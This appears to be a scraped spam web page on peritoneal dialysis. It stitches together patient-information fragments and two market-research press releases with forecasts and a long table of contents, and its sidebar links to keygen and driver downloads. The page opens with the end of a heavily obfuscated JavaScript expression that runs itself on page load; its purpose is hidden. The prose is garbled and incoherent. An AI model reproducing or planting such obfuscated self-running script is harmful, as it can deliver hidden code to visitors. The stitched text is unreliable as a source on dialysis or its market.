[]+!+[]+!+[]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$IXr[8]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+$IXr[28]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[21]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$IXr[14]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$IXr[0]+(!![]+[])[!+[]+!+[]+!+[]]+$IXr[21]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+$IXr[28]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$IXr[14]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$IXr[41]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$IXr[4]+(!![]+[])[!+[]+!+[]+!+[]]+$IXr[19]+(!![]+[])[+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[0]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[0]+$IXr[19]+$IXr[25]+(!![]+[])[+!+[]]+$IXr[14]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$IXr[28]+$IXr[43]+$IXr[(+[])])();</script><p>Background:Automated peritoneal dialysis (APD) is a growing PD modality but as with other home dialysis methods, the lack of monitoring of patients' adherence to prescriptions is a limitation with potential negative impact on clinical outcome parameters. Peritoneal dialysis patients accomplish this in one of two ways, or a little of both: CAPD — Continuous ambulatory peritoneal dialysis is done manually with four to five exchanges every day. CCPD — Continuous cycling peritoneal dialysis is done with the help of a machine at night while the patient sleeps. “I love it,” Reedy said.</p><ul><li>Many PD programs (whether affiliated with large or medium dialysis organizations, hospitals or independent practices) stay small rather than combine into larger programs. This is often because they want to care for their patients locally; however, they can still experience challenges due to their size.</li><li>Growing a Peritoneal Dialysis Program. From 2 to 30 Patients in 2 Y ears. Editor: Peritoneal dialysis (PD), in the absence of transplant. As an immediate option, is considered the preferred.</li><li>Peritoneal dialysis is done to remove wastes, chemicals, and extra fluid from your body. A liquid called dialysate is put into your abdomen through a catheter (thin tube). The liquid stays in your abdomen for several hours at a time.</li></ul><img src='https://tbcdn.talentbrew.com/company/488/20700/content/Jill profile.jpg' alt='Manual' title='Manual' /><p>Dublin, Dec. 14, 2020 (GLOBE NEWSWIRE) -- The 'Peritoneal Dialysis Market Share, Size and Growth, By Type, By End-User By Product And Segment Forecasts, 2016-2026' report has been added to <strong>ResearchAndMarkets.com's</strong> offering. <br /> Increasing occurrences of renal failure due to hypertension, stress, and diabetes mellitus globally, are the major factors influencing the market growth.<br />The Peritoneal Dialysis Market is estimated to reach USD 5.58 Billion by 2027. This can be mainly associated with the growing incidences of chronic diseases and technological advancements that are expected to become the most common growth factors globally in the coming years.<br />Peritoneal dialysis (PD) is a method of dialysis that uses dialysis solution and the inner lining of the abdomen to drain blood when the kidneys are not functioning efficiently. This method is mostly performed at home and principally works to remove excess waste products and fluid from the blood. ESRD (End-stage renal disease), which is generally known as kidney failure, is a significant factor for the growth of the market. Diabetes is the most common cause of ESRD, whereas high blood pressure is the second most common cause of ESRD. High blood pressure and diabetes are the most common chronic disease among the global population, and a shortage of kidneys for transplantation due to stringent regulations regarding kidney transplantation in several countries are some of the factors that are responsible for stimulating the market growth. However, the lack of awareness and limited demand in underdeveloped countries are some factors that may hinder the market growth. The rise in demand for home peritoneal dialysis treatment and increased opportunities in weak and emerging markets would create future opportunities.<br />Due to the presence of key players, favorable reimbursement policies, and a rising number of chronic diseases, and several initiatives by the government, North America accounts for the largest share of around 35.3% of the market by 2019.<br /><strong>Further key findings from the report suggest</strong></p><ul><li>Peritoneal dialysis is the cleansing of blood and the elimination of extra fluids by using the peritoneal membrane, the body's natural filter.</li><li>Hemodialysis is a method of pumping out the blood to an artificial kidney system and is returned to the body with the help of tubing accessories.</li><li>The peritoneal membrane is the lining that circles the abdominal cavity, including the stomach, spleen, liver, and intestines.</li><li>CAPD type segment is expected to grow at a rate of 5.4% during the forecast period due to portability, low cost, and freedom from machines.</li><li>The growing population, increasing rates of chronic diseases, and rising healthcare expenditure are the fundamental factors that are boosting the growth of the market across the globe.</li><li>A growing aging population that needs long term care requirements, raising awareness about hospital-acquired infections, and growing usage of technologies among patients are few factors that are expected to expand usage rates.</li><li>The hospital-based dialysis segment accounts for a market share of approximately 31.2% by 2019.</li><li>Innovative product development and collaborative developments are some critical strategic initiatives taken by the players in this industry to fortify their position in the competition.</li><li>The presence of unique diagnostic and therapeutic medical technologies that enable quick and accurate diagnosis is the primary factor for the growth of this segment.</li><li>The benefits of peritoneal dialysis involve no use of needles, minimum clinic visits, and continuous therapy supplies similar to the kidney's natural functioning.</li><li>The peritoneal dialysis solution segment accounted for the largest share of nearly 23.3% by 2019.</li><li>Europe accounted for a share of about 26.3% in 2019 and is expected to grow at a rate of 5.3% during the forecast period.</li><li>Key participants include Nipro, Covidien, B. Braun Melsungen, Diversified Specialty Institute Holdings, DaVita Healthcare Partners, Baxter International, Dialysis Clinic, Medical Components, Northwest Kidney Centers, Fresenius Medical Care, Huaren Pharmaceutical, NephroPlus, Satellite Healthcare, NxStage Medical, Renal Services, Sandor, Sichuan Kelun Pharmaceutical, and U.S. Renal Care.</li></ul><p><br /><strong>Key Topics Covered:</strong><br /><strong>Chapter 1. Market Synopsis</strong><br /><strong>Chapter 2. Executive Summary</strong><br /><strong>Chapter 3. Indicative Metrics</strong><br /><strong>Chapter 4. Peritoneal Dialysis Market Segmentation &amp; Impact Analysis</strong><br /><strong>Chapter 5. Peritoneal Dialysis Market By Type Insights &amp; Trends</strong><br /><strong>Chapter 6. Peritoneal Dialysis Market By End-User Insights &amp; Trends</strong><br /><strong>Chapter 7. Peritoneal Dialysis Market By Product Insights &amp; Trends</strong><br /><strong>Chapter 8. Peritoneal Dialysis Market Regional Outlook</strong><br /><strong>Chapter 9. Competitive Landscape</strong><br /><strong>Chapter 10. Company Profiles</strong></p><ul><li>Baxter International</li><li>Nipro</li><li>B. Braun Melsungen</li><li>DaVita Healthcare Partners Co.idien</li><li>Dialysis Clinic</li><li>Fresenius Medical Care</li><li>Diversified Specialty Institute Holdings</li><li>Medical Components</li><li>Huaren Pharmaceutical</li><li>NephroPlus</li><li>Northwest Kidney Centers</li><li>Satellite Healthcare</li><li>NxStage Medical</li><li>Renal Services</li><li>Sandor</li><li>Sichuan Kelun Pharmaceutical</li><li>U.S. Renal Care</li></ul><h3>Growing Your Peritoneal Dialysis Programming</h3><p>For more information about this report visit https://www.researchandmarkets.com/r/lh9u72</p><p><strong>About ResearchAndMarkets.com</strong><br /> ResearchAndMarkets.com is the world's leading source for international market research reports and market data. We provide you with the latest data on international and regional markets, key industries, the top companies, new products and the latest trends.</p><h3>Process Of Peritoneal Dialysis</h3><p>Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research.</p><p><br /></p>View Comments and Join the Discussion!<div>View the discussion thread.</div><p>New York, Jan. 14, 2021 (GLOBE NEWSWIRE) -- Reportlinker.com announces the release of the report 'Global Peritoneal Dialysis Industry' - https://www.reportlinker.com/p05957667/?utm_source=GNW<br />8 Billion by 2027, growing at aCAGR of 4.7% over the period 2020-2027. Continuous Ambulatory Peritoneal Dialysis (CAPD), one of the segments analyzed in the report, is projected to record 4.2% CAGR and reach US$3.7 Billion by the end of the analysis period. After an early analysis of the business implications of the pandemic and its induced economic crisis, growth in the Automated Peritoneal Dialysis (APD) segment is readjusted to a revised 5.3% CAGR for the next 7-year period. <br />The U.S. Market is Estimated at $1.3 Billion, While China is Forecast to Grow at 7.1% CAGR <br />The Peritoneal Dialysis market in the U.S. is estimated at US$1.3 Billion in the year 2020. China, the world`s second largest economy, is forecast to reach a projected market size of US$1.4 Billion by the year 2027 trailing a CAGR of 7.1% over the analysis period 2020 to 2027. Among the other noteworthy geographic markets are Japan and Canada, each forecast to grow at 2.6% and 4.2% respectively over the 2020-2027 period. Within Europe, Germany is forecast to grow at approximately 2.9% CAGR.We bring years of research experience to this 6th edition of our report. The 184-page report presents concise insights into how the pandemic has impacted production and the buy side for 2020 and 2021. A short-term phased recovery by key geography is also addressed. <br /><strong>Competitors identified in this market include, among others, </strong></p><ul><li> Baxter International, Inc.</li><li>Cook Medical LLC</li><li>Fresenius Medical Care AG &amp; Co. KgaA</li><li>Medionics International, Inc.</li><li>Medtronic PLC</li><li>Newsol Technologies Inc.</li><li>Poly Medicure Ltd.</li><li>Renax Biomedical Technology Co., Ltd.</li><li>Terumo Corporation</li><li>Utah Medical Products, Inc.</li></ul><p><br />Read the full report: https://www.reportlinker.com/p05957667/?utm_source=GNW<br /><strong>I. INTRODUCTION, METHODOLOGY &amp; REPORT SCOPE</strong><br /><strong>II. EXECUTIVE SUMMARY</strong><br />1. MARKET OVERVIEW <br />Global Competitor Market Shares <br />Peritoneal Dialysis Competitor Market Share Scenario Worldwide <br />(in %): 2019 &amp; 2025 <br />Impact of Covid-19 and a Looming Global Recession <br />2. FOCUS ON SELECT PLAYERS <br />3. MARKET TRENDS &amp; DRIVERS <br />4. GLOBAL MARKET PERSPECTIVE <br />Table 1: Peritoneal Dialysis Global Market Estimates and <br />Forecasts in US$ Million by Region/Country: 2020-2027 <br />Table 2: Peritoneal Dialysis Global Retrospective Market <br />Scenario in US$ Million by Region/Country: 2012-2019 <br />Table 3: Peritoneal Dialysis Market Share Shift across Key <br />Geographies Worldwide: 2012 VS 2020 VS 2027 <br />Table 4: Continuous Ambulatory Peritoneal Dialysis (CAPD) <br />(Treatment) World Market by Region/Country in US$ Million: 2020 <br />to 2027 <br />Table 5: Continuous Ambulatory Peritoneal Dialysis (CAPD) <br />(Treatment) Historic Market Analysis by Region/Country in US$ <br />Million: 2012 to 2019 <br />Table 6: Continuous Ambulatory Peritoneal Dialysis (CAPD) <br />(Treatment) Market Share Breakdown of Worldwide Sales by <br />Region/Country: 2012 VS 2020 VS 2027 <br />Table 7: Automated Peritoneal Dialysis (APD) (Treatment) <br />Potential Growth Markets Worldwide in US$ Million: 2020 to 2027 <br />Table 8: Automated Peritoneal Dialysis (APD) (Treatment) <br />Historic Market Perspective by Region/Country in US$ Million: <br />2012 to 2019 <br />Table 9: Automated Peritoneal Dialysis (APD) (Treatment) Market <br />Sales Breakdown by Region/Country in Percentage: 2012 VS 2020 <br />VS 2027 <br /><strong>III. MARKET ANALYSIS</strong><br />GEOGRAPHIC MARKET ANALYSIS <br />UNITED STATES <br />Market Facts &amp; Figures <br />US Peritoneal Dialysis Market Share (in %) by Company: 2019 &amp; 2025 <br />Market Analytics <br />Table 10: United States Peritoneal Dialysis Market Estimates <br />and Projections in US$ Million by Treatment: 2020 to 2027 <br />Table 11: Peritoneal Dialysis Market in the United States by <br />Treatment: A Historic Review in US$ Million for 2012-2019 <br />Table 12: United States Peritoneal Dialysis Market Share <br />Breakdown by Treatment: 2012 VS 2020 VS 2027 <br />CANADA <br />Table 13: Canadian Peritoneal Dialysis Market Estimates and <br />Forecasts in US$ Million by Treatment: 2020 to 2027 <br />Table 14: Canadian Peritoneal Dialysis Historic Market Review <br />by Treatment in US$ Million: 2012-2019 <br />Table 15: Peritoneal Dialysis Market in Canada: Percentage <br />Share Breakdown of Sales by Treatment for 2012, 2020, and 2027 <br />JAPAN <br />Table 16: Japanese Market for Peritoneal Dialysis: Annual Sales <br />Estimates and Projections in US$ Million by Treatment for the <br />Period 2020-2027 <br />Table 17: Peritoneal Dialysis Market in Japan: Historic Sales <br />Analysis in US$ Million by Treatment for the Period 2012-2019 <br />Table 18: Japanese Peritoneal Dialysis Market Share Analysis by <br />Treatment: 2012 VS 2020 VS 2027 <br />CHINA <br />Table 19: Chinese Peritoneal Dialysis Market Growth Prospects <br />in US$ Million by Treatment for the Period 2020-2027 <br />Table 20: Peritoneal Dialysis Historic Market Analysis in China <br />in US$ Million by Treatment: 2012-2019 <br />Table 21: Chinese Peritoneal Dialysis Market by Treatment: <br />Percentage Breakdown of Sales for 2012, 2020, and 2027 <br />EUROPE <br />Market Facts &amp; Figures <br />European Peritoneal Dialysis Market: Competitor Market Share <br />Scenario (in %) for 2019 &amp; 2025 <br />Market Analytics <br />Table 22: European Peritoneal Dialysis Market Demand Scenario <br />in US$ Million by Region/Country: 2020-2027 <br />Table 23: Peritoneal Dialysis Market in Europe: A Historic <br />Market Perspective in US$ Million by Region/Country for the <br />Period 2012-2019 <br />Table 24: European Peritoneal Dialysis Market Share Shift by <br />Region/Country: 2012 VS 2020 VS 2027 <br />Table 25: European Peritoneal Dialysis Market Estimates and <br />Forecasts in US$ Million by Treatment: 2020-2027 <br />Table 26: Peritoneal Dialysis Market in Europe in US$ Million <br />by Treatment: A Historic Review for the Period 2012-2019 <br />Table 27: European Peritoneal Dialysis Market Share Breakdown <br />by Treatment: 2012 VS 2020 VS 2027 <br />FRANCE <br />Table 28: Peritoneal Dialysis Market in France by Treatment: <br />Estimates and Projections in US$ Million for the Period <br />2020-2027 <br />Table 29: French Peritoneal Dialysis Historic Market Scenario <br />in US$ Million by Treatment: 2012-2019 <br />Table 30: French Peritoneal Dialysis Market Share Analysis by <br />Treatment: 2012 VS 2020 VS 2027 <br />GERMANY <br />Table 31: Peritoneal Dialysis Market in Germany: Recent Past, <br />Current and Future Analysis in US$ Million by Treatment for the <br />Period 2020-2027 <br />Table 32: German Peritoneal Dialysis Historic Market Analysis <br />in US$ Million by Treatment: 2012-2019 <br />Table 33: German Peritoneal Dialysis Market Share Breakdown by <br />Treatment: 2012 VS 2020 VS 2027 <br />ITALY <br />Table 34: Italian Peritoneal Dialysis Market Growth Prospects <br />in US$ Million by Treatment for the Period 2020-2027 <br />Table 35: Peritoneal Dialysis Historic Market Analysis in Italy <br />in US$ Million by Treatment: 2012-2019 <br />Table 36: Italian Peritoneal Dialysis Market by Treatment: <br />Percentage Breakdown of Sales for 2012, 2020, and 2027 <br />UNITED KINGDOM <br />Table 37: United Kingdom Market for Peritoneal Dialysis: Annual <br />Sales Estimates and Projections in US$ Million by Treatment for <br />the Period 2020-2027 <br />Table 38: Peritoneal Dialysis Market in the United Kingdom: <br />Historic Sales Analysis in US$ Million by Treatment for the <br />Period 2012-2019 <br />Table 39: United Kingdom Peritoneal Dialysis Market Share <br />Analysis by Treatment: 2012 VS 2020 VS 2027 <br />SPAIN <br />Table 40: Spanish Peritoneal Dialysis Market Estimates and <br />Forecasts in US$ Million by Treatment: 2020 to 2027 <br />Table 41: Spanish Peritoneal Dialysis Historic Market Review by <br />Treatment in US$ Million: 2012-2019 <br />Table 42: Peritoneal Dialysis Market in Spain: Percentage Share <br />Breakdown of Sales by Treatment for 2012, 2020, and 2027 <br />RUSSIA <br />Table 43: Russian Peritoneal Dialysis Market Estimates and <br />Projections in US$ Million by Treatment: 2020 to 2027 <br />Table 44: Peritoneal Dialysis Market in Russia by Treatment: <br />A Historic Review in US$ Million for 2012-2019 <br />Table 45: Russian Peritoneal Dialysis Market Share Breakdown by <br />Treatment: 2012 VS 2020 VS 2027 <br />REST OF EUROPE <br />Table 46: Rest of Europe Peritoneal Dialysis Market Estimates <br />and Forecasts in US$ Million by Treatment: 2020-2027 <br />Table 47: Peritoneal Dialysis Market in Rest of Europe in US$ <br />Million by Treatment: A Historic Review for the Period <br />2012-2019 <br />Table 48: Rest of Europe Peritoneal Dialysis Market Share <br />Breakdown by Treatment: 2012 VS 2020 VS 2027 <br />ASIA-PACIFIC <br />Table 49: Asia-Pacific Peritoneal Dialysis Market Estimates and <br />Forecasts in US$ Million by Region/Country: 2020-2027 <br />Table 50: Peritoneal Dialysis Market in Asia-Pacific: Historic <br />Market Analysis in US$ Million by Region/Country for the Period <br />2012-2019 <br />Table 51: Asia-Pacific Peritoneal Dialysis Market Share <br />Analysis by Region/Country: 2012 VS 2020 VS 2027 <br />Table 52: Peritoneal Dialysis Market in Asia-Pacific by <br />Treatment: Estimates and Projections in US$ Million for the <br />Period 2020-2027 <br />Table 53: Asia-Pacific Peritoneal Dialysis Historic Market <br />Scenario in US$ Million by Treatment: 2012-2019 <br />Table 54: Asia-Pacific Peritoneal Dialysis Market Share <br />Analysis by Treatment: 2012 VS 2020 VS 2027 <br />AUSTRALIA <br />Table 55: Peritoneal Dialysis Market in Australia: Recent Past, <br />Current and Future Analysis in US$ Million by Treatment for the <br />Period 2020-2027 <br />Table 56: Australian Peritoneal Dialysis Historic Market <br />Analysis in US$ Million by Treatment: 2012-2019 <br />Table 57: Australian Peritoneal Dialysis Market Share Breakdown <br />by Treatment: 2012 VS 2020 VS 2027 <br />INDIA <br />Table 58: Indian Peritoneal Dialysis Market Estimates and <br />Forecasts in US$ Million by Treatment: 2020 to 2027 <br />Table 59: Indian Peritoneal Dialysis Historic Market Review by <br />Treatment in US$ Million: 2012-2019 <br />Table 60: Peritoneal Dialysis Market in India: Percentage Share <br />Breakdown of Sales by Treatment for 2012, 2020, and 2027 <br />SOUTH KOREA <br />Table 61: Peritoneal Dialysis Market in South Korea: Recent <br />Past, Current and Future Analysis in US$ Million by Treatment <br />for the Period 2020-2027 <br />Table 62: South Korean Peritoneal Dialysis Historic Market <br />Analysis in US$ Million by Treatment: 2012-2019 <br />Table 63: Peritoneal Dialysis Market Share Distribution in <br />South Korea by Treatment: 2012 VS 2020 VS 2027 <br />REST OF ASIA-PACIFIC <br />Table 64: Rest of Asia-Pacific Market for Peritoneal Dialysis: <br />Annual Sales Estimates and Projections in US$ Million by <br />Treatment for the Period 2020-2027 <br />Table 65: Peritoneal Dialysis Market in Rest of Asia-Pacific: <br />Historic Sales Analysis in US$ Million by Treatment for the <br />Period 2012-2019 <br />Table 66: Rest of Asia-Pacific Peritoneal Dialysis Market Share <br />Analysis by Treatment: 2012 VS 2020 VS 2027 <br />LATIN AMERICA <br />Table 67: Latin American Peritoneal Dialysis Market Trends by <br />Region/Country in US$ Million: 2020-2027 <br />Table 68: Peritoneal Dialysis Market in Latin America in US$ <br />Million by Region/Country: A Historic Perspective for the <br />Period 2012-2019 <br />Table 69: Latin American Peritoneal Dialysis Market Percentage <br />Breakdown of Sales by Region/Country: 2012, 2020, and 2027 <br />Table 70: Latin American Peritoneal Dialysis Market Growth <br />Prospects in US$ Million by Treatment for the Period 2020-2027 <br />Table 71: Peritoneal Dialysis Historic Market Analysis in Latin <br />America in US$ Million by Treatment: 2012-2019 <br />Table 72: Latin American Peritoneal Dialysis Market by <br />Treatment: Percentage Breakdown of Sales for 2012, 2020, and <br />2027 <br />ARGENTINA <br />Table 73: Argentinean Peritoneal Dialysis Market Estimates and <br />Forecasts in US$ Million by Treatment: 2020-2027 <br />Table 74: Peritoneal Dialysis Market in Argentina in US$ <br />Million by Treatment: A Historic Review for the Period <br />2012-2019 <br />Table 75: Argentinean Peritoneal Dialysis Market Share <br />Breakdown by Treatment: 2012 VS 2020 VS 2027 <br />BRAZIL <br />Table 76: Peritoneal Dialysis Market in Brazil by Treatment: <br />Estimates and Projections in US$ Million for the Period <br />2020-2027 <br />Table 77: Brazilian Peritoneal Dialysis Historic Market <br />Scenario in US$ Million by Treatment: 2012-2019 <br />Table 78: Brazilian Peritoneal Dialysis Market Share Analysis <br />by Treatment: 2012 VS 2020 VS 2027 <br />MEXICO <br />Table 79: Peritoneal Dialysis Market in Mexico: Recent Past, <br />Current and Future Analysis in US$ Million by Treatment for the <br />Period 2020-2027 <br />Table 80: Mexican Peritoneal Dialysis Historic Market Analysis <br />in US$ Million by Treatment: 2012-2019 <br />Table 81: Mexican Peritoneal Dialysis Market Share Breakdown by <br />Treatment: 2012 VS 2020 VS 2027 <br />REST OF LATIN AMERICA <br />Table 82: Rest of Latin America Peritoneal Dialysis Market <br />Estimates and Projections in US$ Million by Treatment: 2020 to <br />2027 <br />Table 83: Peritoneal Dialysis Market in Rest of Latin America <br />by Treatment: A Historic Review in US$ Million for 2012-2019 <br />Table 84: Rest of Latin America Peritoneal Dialysis Market <br />Share Breakdown by Treatment: 2012 VS 2020 VS 2027 <br />MIDDLE EAST <br />Table 85: The Middle East Peritoneal Dialysis Market Estimates <br />and Forecasts in US$ Million by Region/Country: 2020-2027 <br />Table 86: Peritoneal Dialysis Market in the Middle East by <br />Region/Country in US$ Million: 2012-2019 <br />Table 87: The Middle East Peritoneal Dialysis Market Share <br />Breakdown by Region/Country: 2012, 2020, and 2027 <br />Table 88: The Middle East Peritoneal Dialysis Market Estimates <br />and Forecasts in US$ Million by Treatment: 2020 to 2027 <br />Table 89: The Middle East Peritoneal Dialysis Historic Market <br />by Treatment in US$ Million: 2012-2019 <br />Table 90: Peritoneal Dialysis Market in the Middle East: <br />Percentage Share Breakdown of Sales by Treatment for 2012,2020, <br />and 2027 <br />IRAN <br />Table 91: Iranian Market for Peritoneal Dialysis: Annual Sales <br />Estimates and Projections in US$ Million by Treatment for the <br />Period 2020-2027 <br />Table 92: Peritoneal Dialysis Market in Iran: Historic Sales <br />Analysis in US$ Million by Treatment for the Period 2012-2019 <br />Table 93: Iranian Peritoneal Dialysis Market Share Analysis by <br />Treatment: 2012 VS 2020 VS 2027 <br />ISRAEL <br />Table 94: Israeli Peritoneal Dialysis Market Estimates and <br />Forecasts in US$ Million by Treatment: 2020-2027 <br />Table 95: Peritoneal Dialysis Market in Israel in US$ Million <br />by Treatment: A Historic Review for the Period 2012-2019 <br />Table 96: Israeli Peritoneal Dialysis Market Share Breakdown by <br />Treatment: 2012 VS 2020 VS 2027 <br />SAUDI ARABIA <br />Table 97: Saudi Arabian Peritoneal Dialysis Market Growth <br />Prospects in US$ Million by Treatment for the Period 2020-2027 <br />Table 98: Peritoneal Dialysis Historic Market Analysis in Saudi <br />Arabia in US$ Million by Treatment: 2012-2019 <br />Table 99: Saudi Arabian Peritoneal Dialysis Market by <br />Treatment: Percentage Breakdown of Sales for 2012, 2020, and <br />2027 <br />UNITED ARAB EMIRATES <br />Table 100: Peritoneal Dialysis Market in the United Arab <br />Emirates: Recent Past, Current and Future Analysis in US$ <br />Million by Treatment for the Period 2020-2027 <br />Table 101: United Arab Emirates Peritoneal Dialysis Historic <br />Market Analysis in US$ Million by Treatment: 2012-2019 <br />Table 102: Peritoneal Dialysis Market Share Distribution in <br />United Arab Emirates by Treatment: 2012 VS 2020 VS 2027 <br />REST OF MIDDLE EAST <br />Table 103: Peritoneal Dialysis Market in Rest of Middle East: <br />Recent Past, Current and Future Analysis in US$ Million by <br />Treatment for the Period 2020-2027 <br />Table 104: Rest of Middle East Peritoneal Dialysis Historic <br />Market Analysis in US$ Million by Treatment: 2012-2019 <br />Table 105: Rest of Middle East Peritoneal Dialysis Market Share <br />Breakdown by Treatment: 2012 VS 2020 VS 2027 <br />AFRICA <br />Table 106: African Peritoneal Dialysis Market Estimates and <br />Projections in US$ Million by Treatment: 2020 to 2027 <br />Table 107: Peritoneal Dialysis Market in Africa by Treatment: <br />A Historic Review in US$ Million for 2012-2019 <br />Table 108: African Peritoneal Dialysis Market Share Breakdown <br />by Treatment: 2012 VS 2020 VS 2027 <br /><strong>IV. COMPETITION</strong><br />Total Companies Profiled: 46<br />Read the full report: https://www.reportlinker.com/p05957667/?utm_source=GNW<br />About Reportlinker<br />ReportLinker is an award-winning market research solution. Reportlinker finds and organizes the latest industry data so you get all the market research you need - instantly, in one place.<br />__________________________</p><img src='https://image.slidesharecdn.com/peritonealdialysis-2012-120905160353-phpapp01/95/peritoneal-dialysis-1-728.jpg?cb=1346861083' alt='Peritoneal' title='Peritoneal' /><h3>Growing Your Peritoneal Dialysis Program</h3><br></p>
	</div>
	<footer class="entry-meta bottom">
		
	</footer>
</article>
                
                                
                	<nav role="navigation" id="nav-below" class="post-navigation section">
		<h1 class="screen-reader-text">Post navigation</h1>
	        <h2 class="section-title"><span>Navigation</span></h2>
		<div class="nav-previous"><a href="scx-4300-samsung-driver.html">Scx 4300 Samsung Driver</a></div>		<div class="nav-next"><a href="irfan-view-395-download.html">Irfan View 3.95 Download</a></div>
	
	</nav>
	
                
            
            </div>
        </div>
        
                        
        <div id="sidebar" class="widget-area" role="complementary">
        
            <aside id="search-3" class="widget widget_search"><form role="search" method="get" class="search-form" action="#">
	<label>
		<span class="screen-reader-text">Search for:</span>
		<input type="search" class="search-field" placeholder="Search &hellip;" value="" name="s">
	</label>
	<input type="submit" class="search-submit" value="GO">
</form>
</aside>		<aside id="recent-posts-5" class="widget widget_recent_entries">		<h3 class="widget-title"><span>MOST POPULAR ARTICLES</span></h3>		<ul>
					<li><a href='nepali-lok-geet-download-2013.html'>: Nepali Lok Geet Download 2013</a></li>
<li><a href='ati-mobility-radeon-drivers.html'>: Ati Mobility Radeon Drivers</a></li>
<li><a href='avatar-keygen-download.html'>: Avatar Keygen Download</a></li>
<li><a href='code-39-driver-error-free-download.html'>: Code 39 Driver Error Free Download</a></li>
<li><a href='keys-bin-for-psx-games-on-pscorporationwestern.html'>: Keys Bin For Psx Games On Pscorporationwestern</a></li>
<li><a href='merry-christmas-mr-lawrence-midi-download-sites.html'>: Merry Christmas Mr Lawrence Midi Download Sites</a></li>
<li><a href='wii-sd-gundam-gashapon-wars-isosorbide.html'>: Wii Sd Gundam Gashapon Wars Isosorbide</a></li>
<li><a href='system-8-vst-downloadhousebrown.html'>: System 8 Vst Downloadhousebrown</a></li>
				</ul>
		</aside>		        
        </div>
        
            </div>                </div>
        <footer id="footer" class="site-footer" role="contentinfo">
		<a href="/">Geochlamypxi1970</a>
                        <div class="site-info">
                 

            </div>
        </footer>
        
    
</body>
</html>